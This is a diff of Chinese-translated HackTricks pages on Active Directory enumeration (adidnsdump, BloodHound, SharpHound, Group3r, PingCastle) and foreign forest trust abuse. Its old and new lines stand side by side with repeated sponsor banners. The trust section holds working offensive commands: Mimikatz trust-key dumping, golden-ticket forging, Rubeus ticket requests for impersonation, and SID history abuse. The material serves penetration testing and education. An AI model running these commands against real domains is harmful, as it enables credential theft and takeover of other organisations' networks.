* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
默认情况下,Active Directory中的**任何用户**都可以**枚举**域或森林DNS区域中的所有DNS记录,类似于区域传输(用户可以列出AD环境中DNS区域的子对象)。
|
||||
默认情况下,**Active Directory 中的任何用户**都可以 **枚举域或森林 DNS 区域中的所有 DNS 记录**,类似于区域传输(用户可以列出 AD 环境中 DNS 区域的子对象)。
|
||||
|
||||
工具[**adidnsdump**](https://github.com/dirkjanm/adidnsdump)可用于**枚举**和**导出**区域中的**所有DNS记录**,用于对内部网络进行侦察。
|
||||
工具 [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) 使 **枚举** 和 **导出** 区域中的 **所有 DNS 记录** 成为可能,以便进行内部网络的侦察。
|
||||
```bash
|
||||
git clone https://github.com/dirkjanm/adidnsdump
|
||||
cd adidnsdump
|
||||
|
@ -23,16 +26,19 @@ pip install .
|
|||
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
|
||||
cat records.csv
|
||||
```
|
||||
了解更多信息,请阅读[https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
||||
有关更多信息,请阅读 [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,88 +1,90 @@
|
|||
# BloodHound & 其他 AD 枚举工具
|
||||
# BloodHound & Other AD Enum Tools
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在 **网络安全公司** 工作吗? 想要看到您的 **公司在 HackTricks 中被宣传** 吗? 或者想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗? 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## AD Explorer
|
||||
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) 来自 Sysinternal Suite:
|
||||
|
||||
> 一个高级的 Active Directory (AD) 查看器和编辑器。 您可以使用 AD Explorer 轻松浏览 AD 数据库,定义喜爱的位置,查看对象属性和属性而无需打开对话框,编辑权限,查看对象的模式,并执行可以保存和重新执行的复杂搜索。
|
||||
> 一个高级的 Active Directory (AD) 查看器和编辑器。您可以使用 AD Explorer 轻松浏览 AD 数据库,定义收藏位置,查看对象属性和属性而无需打开对话框,编辑权限,查看对象的架构,并执行可以保存和重新执行的复杂搜索。
|
||||
|
||||
### 快照
|
||||
|
||||
AD Explorer 可以创建 AD 的快照,以便您可以离线检查它。\
|
||||
它可用于离线发现漏洞,或比较 AD 数据库在不同时间点的不同状态。
|
||||
AD Explorer 可以创建 AD 的快照,以便您可以离线检查。\
|
||||
它可以用于离线发现漏洞,或比较 AD 数据库在不同时间的不同状态。
|
||||
|
||||
您将需要用户名、密码和连接方向(需要任何 AD 用户)。
|
||||
您需要提供用户名、密码和连接方向(任何 AD 用户都是必需的)。
|
||||
|
||||
要对 AD 进行快照,转到 `文件` --> `创建快照` 并输入快照的名称。
|
||||
要创建 AD 的快照,请转到 `File` --> `Create Snapshot` 并输入快照的名称。
|
||||
|
||||
## ADRecon
|
||||
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) 是一个从 AD 环境中提取和组合各种工件的工具。 信息可以呈现在一个 **特别格式化** 的 Microsoft Excel **报告** 中,其中包括摘要视图和指标,以便于分析并提供目标 AD 环境当前状态的整体图片。
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) 是一个从 AD 环境中提取和组合各种工件的工具。信息可以以 **特别格式化** 的 Microsoft Excel **报告** 形式呈现,其中包括带有指标的摘要视图,以便于分析并提供目标 AD 环境当前状态的整体图景。
|
||||
```bash
|
||||
# Run it
|
||||
.\ADRecon.ps1
|
||||
```
|
||||
## BloodHound
|
||||
|
||||
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
来自 [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
> BloodHound是一个单页Javascript Web应用程序,构建在[Linkurious](http://linkurio.us/)之上,使用[Electron](http://electron.atom.io/)编译,使用由C#数据收集器提供数据的[Neo4j](https://neo4j.com/)数据库。
|
||||
> BloodHound 是一个单页面的 Javascript 网络应用,建立在 [Linkurious](http://linkurio.us/) 之上,使用 [Electron](http://electron.atom.io/) 编译,并通过 C# 数据收集器提供 [Neo4j](https://neo4j.com/) 数据库。
|
||||
|
||||
BloodHound使用图论来揭示Active Directory或Azure环境中隐藏且通常是意外的关系。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则将无法快速识别。防御者可以使用BloodHound识别并消除相同的攻击路径。蓝队和红队都可以使用BloodHound轻松获得对Active Directory或Azure环境中特权关系的更深入了解。
|
||||
BloodHound 使用图论来揭示 Active Directory 或 Azure 环境中隐藏的、通常是无意的关系。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,这些路径在其他情况下将无法快速识别。防御者可以使用 BloodHound 识别并消除这些相同的攻击路径。蓝队和红队都可以使用 BloodHound 更深入地理解 Active Directory 或 Azure 环境中的权限关系。
|
||||
|
||||
因此,[Bloodhound](https://github.com/BloodHoundAD/BloodHound)是一个令人惊叹的工具,可以自动枚举域,保存所有信息,找到可能的特权升级路径,并使用图形显示所有信息。
|
||||
因此,[Bloodhound](https://github.com/BloodHoundAD/BloodHound) 是一个惊人的工具,可以自动枚举域,保存所有信息,查找可能的权限提升路径,并使用图形显示所有信息。
|
||||
|
||||
Booldhound由2个主要部分组成:**摄取器**和**可视化应用程序**。
|
||||
BloodHound 由两个主要部分组成:**ingestors** 和 **可视化应用**。
|
||||
|
||||
**摄取器**用于**枚举域并提取所有信息**,以一种可被可视化应用程序理解的格式。
|
||||
**ingestors** 用于 **枚举域并提取所有信息**,以可视化应用能够理解的格式。
|
||||
|
||||
**可视化应用程序使用neo4j**来展示所有信息之间的关系,并展示在域中升级特权的不同方式。
|
||||
**可视化应用使用 neo4j** 来展示所有信息之间的关系,并展示在域中提升权限的不同方式。
|
||||
|
||||
### 安装
|
||||
在创建BloodHound CE之后,整个项目已更新以便与Docker更轻松地使用。开始的最简单方法是使用其预配置的Docker Compose配置。
|
||||
在创建 BloodHound CE 后,整个项目进行了更新,以便于使用 Docker。开始的最简单方法是使用其预配置的 Docker Compose 配置。
|
||||
|
||||
1. 安装Docker Compose。这应该包含在[Docker Desktop](https://www.docker.com/products/docker-desktop/)安装中。
|
||||
1. 安装 Docker Compose。这应该包含在 [Docker Desktop](https://www.docker.com/products/docker-desktop/) 安装中。
|
||||
2. 运行:
|
||||
```
|
||||
curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
```
|
||||
3. 在Docker Compose的终端输出中找到随机生成的密码。
|
||||
4. 在浏览器中,导航至 http://localhost:8080/ui/login。使用用户名admin和日志中随机生成的密码登录。
|
||||
3. 在 Docker Compose 的终端输出中找到随机生成的密码。
|
||||
4. 在浏览器中,导航到 http://localhost:8080/ui/login。使用用户名 admin 和日志中的随机生成密码登录。
|
||||
|
||||
完成后,您需要更改随机生成的密码,然后您将准备好新界面,可以直接下载摄取器。
|
||||
之后,您需要更改随机生成的密码,您将准备好新的界面,从中可以直接下载 ingestors。
|
||||
|
||||
### SharpHound
|
||||
### SharpHound
|
||||
|
||||
它们有几个选项,但如果您想要从加入域的个人电脑上运行SharpHound,使用您当前的用户并提取所有信息,您可以执行:
|
||||
他们有几个选项,但如果您想从加入域的 PC 上运行 SharpHound,使用您当前的用户并提取所有信息,您可以这样做:
|
||||
```
|
||||
./SharpHound.exe --CollectionMethods All
|
||||
Invoke-BloodHound -CollectionMethod All
|
||||
```
|
||||
> 您可以在[此处](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)详细了解**CollectionMethod**和循环会话。
|
||||
> 您可以在[这里](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)阅读更多关于**CollectionMethod**和循环会话的信息。
|
||||
|
||||
如果您希望使用不同的凭据执行SharpHound,可以创建一个CMD netonly会话,并从那里运行SharpHound:
|
||||
如果您希望使用不同的凭据执行SharpHound,您可以创建一个CMD netonly会话并从那里运行SharpHound:
|
||||
```
|
||||
runas /netonly /user:domain\user "powershell.exe -exec bypass"
|
||||
```
|
||||
[**在 ired.team 了解更多关于 Bloodhound 的信息。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
|
||||
|
||||
[**了解更多关于 Bloodhound 的信息,请访问 ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
|
||||
|
||||
## Group3r
|
||||
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) 是一个用于查找 Active Directory 关联的 **Group Policy** 中的 **漏洞** 的工具。\
|
||||
您需要使用 **任何域用户** 从域内主机上 **运行 group3r**。
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) 是一个用于查找与 **组策略** 相关的 Active Directory 中的 **漏洞** 的工具。\
|
||||
您需要使用 **任何域用户** 从域内的主机上 **运行 group3r**。
|
||||
```bash
|
||||
group3r.exe -f <filepath-name.log>
|
||||
# -s sends results to stdin
|
||||
|
@ -90,6 +92,21 @@ group3r.exe -f <filepath-name.log>
|
|||
```
|
||||
## PingCastle
|
||||
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **评估AD环境的安全状况**,并提供带有图表的**报告**。
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **评估AD环境的安全态势**并提供一个漂亮的**报告**和图表。
|
||||
|
||||
要运行它,可以执行二进制文件 `PingCastle.exe`,它将启动一个**交互式会话**,呈现选项菜单。要使用的默认选项是**`healthcheck`**,它将建立**域**的基线**概述**,并查找**配置错误**和**漏洞**。 
|
||||
要运行它,可以执行二进制文件`PingCastle.exe`,它将启动一个**交互式会话**,呈现选项菜单。默认选项是**`healthcheck`**,它将建立一个**域**的基线**概述**,并查找**错误配置**和**漏洞**。 
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# 外部森林域 - 单向(入站)或双向
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f)或[**电报群**](https://t.me/peass)或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
在这种情况下,外部域信任您(或彼此信任),因此您可以在其上获得某种访问权限。
|
||||
在这种情况下,外部域信任你(或双方互相信任),因此你可以获得某种访问权限。
|
||||
|
||||
## 枚举
|
||||
|
||||
首先,您需要**枚举**这种**信任**:
|
||||
首先,你需要 **枚举** **信任**:
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
|
@ -66,38 +69,42 @@ IsDomain : True
|
|||
# You may also enumerate where foreign groups and/or users have been assigned
|
||||
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
|
||||
```
|
||||
在先前的枚举中发现用户**`crossuser`**位于**`External Admins`**组内,该组在**外部域的DC**内具有**管理员访问权限**。
|
||||
在之前的枚举中发现用户 **`crossuser`** 在 **`External Admins`** 组中,该组在 **外部域的 DC** 中具有 **管理员访问权限**。
|
||||
|
||||
## 初始访问
|
||||
|
||||
如果您在另一个域中找不到用户的**特殊**访问权限,您仍然可以返回AD方法论并尝试从未经特权处理的用户进行**权限提升**(例如,像kerberoasting这样的操作):
|
||||
如果你 **无法** 在其他域中找到你的用户的任何 **特殊** 访问权限,你仍然可以返回到 AD 方法论,尝试从 **无特权用户** 提升权限(例如,进行 kerberoasting):
|
||||
|
||||
您可以使用**Powerview函数**来使用`-Domain`参数枚举**其他域**,如下所示:
|
||||
你可以使用 **Powerview 函数** 通过 `-Domain` 参数来 **枚举** **其他域**,如:
|
||||
```powershell
|
||||
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
```
|
||||
{% content-ref url="./" %}
|
||||
[.](./)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 冒充
|
||||
|
||||
### 登录
|
||||
|
||||
使用具有访问外部域权限的用户的凭据进行常规方法,您应该能够访问:
|
||||
使用具有访问外部域的用户凭据的常规方法,您应该能够访问:
|
||||
```powershell
|
||||
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
|
||||
```
|
||||
### SID History Abuse
|
||||
### SID 历史滥用
|
||||
|
||||
您还可以在跨森林信任中滥用[**SID History**](sid-history-injection.md)。
|
||||
您还可以在森林信任中滥用 [**SID 历史**](sid-history-injection.md)。
|
||||
|
||||
如果用户从一个森林迁移到另一个森林,并且未启用**SID过滤**,则可以**添加来自另一个森林的SID**,并且在通过信任进行身份验证时,此**SID**将被**添加**到**用户的令牌**中。
|
||||
如果用户是 **从一个森林迁移到另一个森林**,并且 **未启用 SID 过滤**,则可以 **添加来自另一个森林的 SID**,并且在 **跨信任** 进行身份验证时,该 **SID** 将被 **添加** 到 **用户的令牌** 中。
|
||||
|
||||
{% hint style="warning" %}
|
||||
作为提醒,您可以使用以下方式获取签名密钥
|
||||
作为提醒,您可以获取签名密钥。
|
||||
```powershell
|
||||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
您可以使用**受信任**的密钥**签署**一个**冒充**当前域用户的TGT。
|
||||
您可以使用**受信任的**密钥对当前域用户进行**TGT冒充**签名。
|
||||
```bash
|
||||
# Get a TGT for the cross-domain privileged user to the other domain
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
|
||||
|
@ -108,7 +115,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
|
|||
|
||||
# Now you have a TGS to access the CIFS service of the domain controller
|
||||
```
|
||||
### 完全模拟用户
|
||||
### 完全方式冒充用户
|
||||
```bash
|
||||
# Get a TGT of the user with cross-domain permissions
|
||||
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
|
||||
|
@ -122,14 +129,17 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
|
|||
|
||||
# Now you have a TGS to access the CIFS service of the domain controller
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,15 +1,33 @@
|
|||
# Kerberos Authentication
|
||||
# Kerberos 认证
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**查看精彩文章:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# LAPS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
